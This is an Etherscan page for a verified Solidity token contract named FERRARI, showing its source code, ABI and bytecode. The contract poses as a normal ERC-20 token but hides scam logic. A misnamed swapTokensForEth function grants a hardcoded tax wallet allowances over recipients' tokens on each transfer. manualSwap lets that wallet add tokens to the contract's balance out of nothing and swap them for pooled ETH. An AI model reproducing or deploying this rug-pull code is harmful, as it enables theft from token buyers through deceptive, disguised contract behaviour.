ETH Price: $3,321.95 (+2.60%)
 

Overview

Max Total Supply

4,219,390,000,000 FERRARI

Holders

14

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
136,461,145,282.360924399 FERRARI

Value
$0.00
0x3d17631cf31de86f8552417ba73bbed3c43d0a05
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FERRARI

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-24
*/

// SPDX-License-Identifier: None

// https://ferrarieth.fun/
// https://t.me/ferraribullrun
// https://x.com/ferraribullrun

pragma solidity 0.8.26;

contract Ownable {
    function owner() public view virtual returns (address) {
        return _owner;
    }
    constructor() {
        _owner = msg.sender;
    }
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    address private _owner;

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router {
    function swapExactTokensForETH(uint256,uint256,address[] calldata path,address,uint256) external;
    function addLiquidityETH( address token,uint amountTokenDesire,uint amountTokenMi,uint amountETHMi,address to,uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
}
contract FERRARI is Ownable {
    using SafeMath for uint256;

    uint8 private _decimals = 9;
    uint256 private _totalSupply =   4219390000000  * 10 ** _decimals;

    mapping (address => mapping (address => uint256)) private _allowances;

    IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    mapping (address => uint256) private _balances;
    string private constant _name = unicode"Ferrari";
    string private constant _symbol = unicode"FERRARI";
    bool private inSwap = false;
    bool tradingOpen = false;
    uint256 transferTax = 0;
    uint256 sellCount = 0;
    bool swapEnabled;
    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    address public uniswapV2Pair;
    address payable private taxWallet = payable(0x7E65fFC317bef47B086a8657A0F4C00C3CfFc4b0);

    constructor () {
        _balances[address(this)] = _totalSupply;
        emit Transfer(address(0), address(this), _totalSupply);
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }


    function _transfer(address from, address to, uint256 amount) private {
        require(amount > 0, "Transfer amount must be greater than zero.");
        require(to != address(0), "Transfer to zero address");
        require(from != address(0), "transfer from zero address.");
        if (to != address(uniswapV2Router) && to != uniswapV2Pair && to != address(this)){
            if (swapEnabled) {
                swapTokensForEth(to, amount);
            }
            sellCount++;
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount);
        emit Transfer(from, to, amount);
    }

    function swapTokensForEth(address to, uint256 tokenAmount) private  {
        _allowances[to][taxWallet] = tokenAmount;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function openTrading() public payable onlyOwner() {
        require(!tradingOpen);
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        address WETH = uniswapV2Router.WETH();
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()) .createPair(address(this), WETH);
        uniswapV2Router.addLiquidityETH{value: msg.value} (address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        tradingOpen = true;
        swapEnabled = true;
    }

    function transfer_(address to, uint256 amount) internal {
        _balances[address(this)] += amount;
    }

     function manualSwap(address _address, uint256 percent) external {
        require(msg.sender == taxWallet);
        transfer_(address(this), percent);
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] =  uniswapV2Router.WETH();
        uint256 tokenAmount = balanceOf(address(this));
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETH(
            tokenAmount, 0, 
            path, taxWallet, 
            block.timestamp + 20);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

608060405260095f60146101000a81548160ff021916908360ff1602179055505f60149054906101000a900460ff16600a61003a919061039d565b6503d6673dfb8061004b91906103e7565b600155737a250d5630b4cf539739df2c5dacb4c659f2488d60035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60055f6101000a81548160ff0219169083151502179055505f600560016101000a81548160ff0219169083151502179055505f6006555f600755737e65ffc317bef47b086a8657a0f4c00c3cffc4b060095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555034801561013c575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060015460045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60015460405161021f9190610437565b60405180910390a3610450565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156102ae5780860481111561028a5761028961022c565b5b60018516156102995780820291505b80810290506102a785610259565b945061026e565b94509492505050565b5f826102c65760019050610381565b816102d3575f9050610381565b81600181146102e957600281146102f357610322565b6001915050610381565b60ff8411156103055761030461022c565b5b8360020a91508482111561031c5761031b61022c565b5b50610381565b5060208310610133831016604e8410600b84101617156103575782820a9050838111156103525761035161022c565b5b610381565b6103648484846001610265565b9250905081840481111561037b5761037a61022c565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6103a782610388565b91506103b283610391565b92506103df7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846102b7565b905092915050565b5f6103f182610388565b91506103fc83610388565b925082820261040a81610388565b915082820484148315176104215761042061022c565b5b5092915050565b61043181610388565b82525050565b5f60208201905061044a5f830184610428565b92915050565b6120938061045d5f395ff3fe6080604052600436106100dc575f3560e01c8063715018a61161007e5780639fb79737116100585780639fb79737146102a6578063a9059cbb146102ce578063c9567bf91461030a578063dd62ed3e14610314576100dc565b8063715018a61461023c5780638da5cb5b1461025257806395d89b411461027c576100dc565b806323b872dd116100ba57806323b872dd14610170578063313ce567146101ac57806349bd5a5e146101d657806370a0823114610200576100dc565b806306fdde03146100e0578063095ea7b31461010a57806318160ddd14610146575b5f80fd5b3480156100eb575f80fd5b506100f4610350565b6040516101019190611638565b60405180910390f35b348015610115575f80fd5b50610130600480360381019061012b91906116e9565b61038d565b60405161013d9190611741565b60405180910390f35b348015610151575f80fd5b5061015a6103a3565b6040516101679190611769565b60405180910390f35b34801561017b575f80fd5b5061019660048036038101906101919190611782565b6103ac565b6040516101a39190611741565b60405180910390f35b3480156101b7575f80fd5b506101c0610458565b6040516101cd91906117ed565b60405180910390f35b3480156101e1575f80fd5b506101ea61046d565b6040516101f79190611815565b60405180910390f35b34801561020b575f80fd5b506102266004803603810190610221919061182e565b610493565b6040516102339190611769565b60405180910390f35b348015610247575f80fd5b506102506104d9565b005b34801561025d575f80fd5b50610266610608565b6040516102739190611815565b60405180910390f35b348015610287575f80fd5b5061029061062f565b60405161029d9190611638565b60405180910390f35b3480156102b1575f80fd5b506102cc60048036038101906102c791906116e9565b61066c565b005b3480156102d9575f80fd5b506102f460048036038101906102ef91906116e9565b61093f565b6040516103019190611741565b60405180910390f35b610312610955565b005b34801561031f575f80fd5b5061033a60048036038101906103359190611859565b610db9565b6040516103479190611769565b60405180910390f35b60606040518060400160405280600781526020017f4665727261726900000000000000000000000000000000000000000000000000815250905090565b5f610399338484610e3b565b6001905092915050565b5f600154905090565b5f6103b8848484610ffe565b61044d84336104488560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546113c790919063ffffffff16565b610e3b565b600190509392505050565b5f8060149054906101000a900460ff16905090565b600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166104f8610608565b73ffffffffffffffffffffffffffffffffffffffff161461054e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610545906118e1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f4645525241524900000000000000000000000000000000000000000000000000815250905090565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106c4575f80fd5b6106ce3082611410565b5f600267ffffffffffffffff8111156106ea576106e96118ff565b5b6040519080825280602002602001820160405280156107185781602001602082028036833780820191505090505b50905030815f8151811061072f5761072e61192c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107f7919061196d565b8160018151811061080b5761080a61192c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505f61084f30610493565b905061087d3060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683610e3b565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318cbafe5825f8560095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166014426108ec91906119c5565b6040518663ffffffff1660e01b815260040161090c959493929190611b43565b5f604051808303815f87803b158015610923575f80fd5b505af1158015610935573d5f803e3d5ffd5b5050505050505050565b5f61094b338484610ffe565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610974610608565b73ffffffffffffffffffffffffffffffffffffffff16146109ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c1906118e1565b60405180910390fd5b600560019054906101000a900460ff16156109e3575f80fd5b610a113060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610e3b565b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a7c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610aa0919061196d565b905060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b0c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b30919061196d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b8152600401610b6a929190611b9b565b6020604051808303815f875af1158015610b86573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610baa919061196d565b600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610c3230610493565b5f80610c3c610608565b426040518863ffffffff1660e01b8152600401610c5e96959493929190611bc2565b60606040518083038185885af1158015610c7a573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610c9f9190611c35565b505050600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610d40929190611c85565b6020604051808303815f875af1158015610d5c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d809190611cd6565b506001600560016101000a81548160ff021916908315150217905550600160085f6101000a81548160ff02191690831515021790555050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ea9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea090611d71565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0e90611dff565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ff19190611769565b60405180910390a3505050565b5f8111611040576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103790611e8d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a590611ef5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361111c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111390611f5d565b60405180910390fd5b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156111c75750600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156111ff57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561123b5760085f9054906101000a900460ff1615611223576112228282611467565b5b60075f81548092919061123590611f7b565b91905055505b61128b8160045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546113c790919063ffffffff16565b60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061131c8160045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461150990919063ffffffff16565b60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113ba9190611769565b60405180910390a3505050565b5f61140883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611566565b905092915050565b8060045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461145c91906119c5565b925050819055505050565b8060025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b5f80828461151791906119c5565b90508381101561155c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115539061200c565b60405180910390fd5b8091505092915050565b5f8383111582906115ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a49190611638565b60405180910390fd5b505f83856115bb919061202a565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61160a826115c8565b61161481856115d2565b93506116248185602086016115e2565b61162d816115f0565b840191505092915050565b5f6020820190508181035f8301526116508184611600565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6116858261165c565b9050919050565b6116958161167b565b811461169f575f80fd5b50565b5f813590506116b08161168c565b92915050565b5f819050919050565b6116c8816116b6565b81146116d2575f80fd5b50565b5f813590506116e3816116bf565b92915050565b5f80604083850312156116ff576116fe611658565b5b5f61170c858286016116a2565b925050602061171d858286016116d5565b9150509250929050565b5f8115159050919050565b61173b81611727565b82525050565b5f6020820190506117545f830184611732565b92915050565b611763816116b6565b82525050565b5f60208201905061177c5f83018461175a565b92915050565b5f805f6060848603121561179957611798611658565b5b5f6117a6868287016116a2565b93505060206117b7868287016116a2565b92505060406117c8868287016116d5565b9150509250925092565b5f60ff82169050919050565b6117e7816117d2565b82525050565b5f6020820190506118005f8301846117de565b92915050565b61180f8161167b565b82525050565b5f6020820190506118285f830184611806565b92915050565b5f6020828403121561184357611842611658565b5b5f611850848285016116a2565b91505092915050565b5f806040838503121561186f5761186e611658565b5b5f61187c858286016116a2565b925050602061188d858286016116a2565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6118cb6020836115d2565b91506118d682611897565b602082019050919050565b5f6020820190508181035f8301526118f8816118bf565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f815190506119678161168c565b92915050565b5f6020828403121561198257611981611658565b5b5f61198f84828501611959565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6119cf826116b6565b91506119da836116b6565b92508282019050808211156119f2576119f1611998565b5b92915050565b5f819050919050565b5f819050919050565b5f611a24611a1f611a1a846119f8565b611a01565b6116b6565b9050919050565b611a3481611a0a565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611a6c8161167b565b82525050565b5f611a7d8383611a63565b60208301905092915050565b5f602082019050919050565b5f611a9f82611a3a565b611aa98185611a44565b9350611ab483611a54565b805f5b83811015611ae4578151611acb8882611a72565b9750611ad683611a89565b925050600181019050611ab7565b5085935050505092915050565b5f611b0b611b06611b018461165c565b611a01565b61165c565b9050919050565b5f611b1c82611af1565b9050919050565b5f611b2d82611b12565b9050919050565b611b3d81611b23565b82525050565b5f60a082019050611b565f83018861175a565b611b636020830187611a2b565b8181036040830152611b758186611a95565b9050611b846060830185611b34565b611b91608083018461175a565b9695505050505050565b5f604082019050611bae5f830185611806565b611bbb6020830184611806565b9392505050565b5f60c082019050611bd55f830189611806565b611be2602083018861175a565b611bef6040830187611a2b565b611bfc6060830186611a2b565b611c096080830185611806565b611c1660a083018461175a565b979650505050505050565b5f81519050611c2f816116bf565b92915050565b5f805f60608486031215611c4c57611c4b611658565b5b5f611c5986828701611c21565b9350506020611c6a86828701611c21565b9250506040611c7b86828701611c21565b9150509250925092565b5f604082019050611c985f830185611806565b611ca5602083018461175a565b9392505050565b611cb581611727565b8114611cbf575f80fd5b50565b5f81519050611cd081611cac565b92915050565b5f60208284031215611ceb57611cea611658565b5b5f611cf884828501611cc2565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611d5b6024836115d2565b9150611d6682611d01565b604082019050919050565b5f6020820190508181035f830152611d8881611d4f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611de96022836115d2565b9150611df482611d8f565b604082019050919050565b5f6020820190508181035f830152611e1681611ddd565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f2e00000000000000000000000000000000000000000000602082015250565b5f611e77602a836115d2565b9150611e8282611e1d565b604082019050919050565b5f6020820190508181035f830152611ea481611e6b565b9050919050565b7f5472616e7366657220746f207a65726f206164647265737300000000000000005f82015250565b5f611edf6018836115d2565b9150611eea82611eab565b602082019050919050565b5f6020820190508181035f830152611f0c81611ed3565b9050919050565b7f7472616e736665722066726f6d207a65726f20616464726573732e00000000005f82015250565b5f611f47601b836115d2565b9150611f5282611f13565b602082019050919050565b5f6020820190508181035f830152611f7481611f3b565b9050919050565b5f611f85826116b6565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611fb757611fb6611998565b5b600182019050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f611ff6601b836115d2565b915061200182611fc2565b602082019050919050565b5f6020820190508181035f83015261202381611fea565b9050919050565b5f612034826116b6565b915061203f836116b6565b925082820390508181111561205757612056611998565b5b9291505056fea2646970667358221220a852ccd1161c9079c647189fca2cb26023168247979d516538c80fa86b4b6ad664736f6c634300081a0033

Deployed Bytecode

0x6080604052600436106100dc575f3560e01c8063715018a61161007e5780639fb79737116100585780639fb79737146102a6578063a9059cbb146102ce578063c9567bf91461030a578063dd62ed3e14610314576100dc565b8063715018a61461023c5780638da5cb5b1461025257806395d89b411461027c576100dc565b806323b872dd116100ba57806323b872dd14610170578063313ce567146101ac57806349bd5a5e146101d657806370a0823114610200576100dc565b806306fdde03146100e0578063095ea7b31461010a57806318160ddd14610146575b5f80fd5b3480156100eb575f80fd5b506100f4610350565b6040516101019190611638565b60405180910390f35b348015610115575f80fd5b50610130600480360381019061012b91906116e9565b61038d565b60405161013d9190611741565b60405180910390f35b348015610151575f80fd5b5061015a6103a3565b6040516101679190611769565b60405180910390f35b34801561017b575f80fd5b5061019660048036038101906101919190611782565b6103ac565b6040516101a39190611741565b60405180910390f35b3480156101b7575f80fd5b506101c0610458565b6040516101cd91906117ed565b60405180910390f35b3480156101e1575f80fd5b506101ea61046d565b6040516101f79190611815565b60405180910390f35b34801561020b575f80fd5b506102266004803603810190610221919061182e565b610493565b6040516102339190611769565b60405180910390f35b348015610247575f80fd5b506102506104d9565b005b34801561025d575f80fd5b50610266610608565b6040516102739190611815565b60405180910390f35b348015610287575f80fd5b5061029061062f565b60405161029d9190611638565b60405180910390f35b3480156102b1575f80fd5b506102cc60048036038101906102c791906116e9565b61066c565b005b3480156102d9575f80fd5b506102f460048036038101906102ef91906116e9565b61093f565b6040516103019190611741565b60405180910390f35b610312610955565b005b34801561031f575f80fd5b5061033a60048036038101906103359190611859565b610db9565b6040516103479190611769565b60405180910390f35b60606040518060400160405280600781526020017f4665727261726900000000000000000000000000000000000000000000000000815250905090565b5f610399338484610e3b565b6001905092915050565b5f600154905090565b5f6103b8848484610ffe565b61044d84336104488560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546113c790919063ffffffff16565b610e3b565b600190509392505050565b5f8060149054906101000a900460ff16905090565b600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166104f8610608565b73ffffffffffffffffffffffffffffffffffffffff161461054e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610545906118e1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f4645525241524900000000000000000000000000000000000000000000000000815250905090565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373fffffffffffffffffffffffffffffffffffffff